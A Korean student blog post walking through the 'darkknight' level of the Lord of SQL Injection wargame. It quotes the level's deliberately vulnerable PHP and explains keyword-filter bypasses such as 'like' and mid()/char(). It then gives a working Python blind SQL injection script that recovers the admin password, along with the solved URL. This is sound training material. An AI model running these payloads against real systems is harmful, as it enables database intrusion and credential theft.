write-up/LOS write-up

LOS (Lord of SQL injection) 문제 12번 darkknight write-up

정보보호학과 새내기 2021. 7. 7. 13:02
반응형
SMALL

문제 12번 - darkknight

 

query : select id from prob_darkknight where id='guest' and pw='' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 마찬가지로 php코드가 주어져있다.

 

먼저 필터링함수를 확인해보면 no를 받는 변수에서 prob와 _ , . , ( , )을 필터링하고 추가로 '와 subtstr과 ascii, =을 필터링한다. 또 pw를 받는 변수에서는 '를 필터링한다. 둘 다 i를 통해 대소문자를 구분하지 않는 것을 알 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
?>

 

또 clear 조건을 확인하기 위해 조건문 코드를 확인해보니 비밀번호가 필요하다는 것을 알 수 있다. 파이썬을 이용하여 비밀번호를 찾아야한다.

<?php  
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

 

아래 코드를 확인해보면 참인 값이 주어졌을 때 Hello admin을 출력한다는 것을 알 수 있다. 이것을 통해 pw 값을 구할 것이다.

<?php 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
?>

 

먼저 =은 like로 우회할 것이고 비밀번호의 크기를 구하기 위해 length를 이용했다.

url에 no=1'%27||length(pw) like 8%23을 입력했더니 Hello admin이 출력되었다.

pw의 길이가 8일 때 Hello admin 출력

 

이제 pw의 길이를 알았으니 파이썬 코드를 이용해 반복문을 만들고 비밀번호를 찾아보았다.

앞선 문제들에서 이용한 코드를 필터링 함수에 걸리지 않게 조절해서 작성하였다.

import requests

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookie =dict(PHPSESSID="쿠키값")

result=""

for i in range(1,9):
    for j in range(ord('0'),ord('z')):
        param={"no": "1 or no>1 and mid(pw,"+str(i)+",1) like char("+str(j)+")"}
        URL = url
        response = requests.get(url=URL,params=param,cookies=cookie)
        if "Hello admin" in response.text:
            print(chr(j))
            result += chr(j)
            break
print("pw는",result,"입니다")

위 코드를 이용하여 pw를 구하면 0b70ea1f이다.

pw 찾는 파이썬 코드 실행

따라서 해당 주소 php 뒤에 pw=0b70ea1f를 입력한다.

 

solve

https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f

클리어 화면

반응형
LIST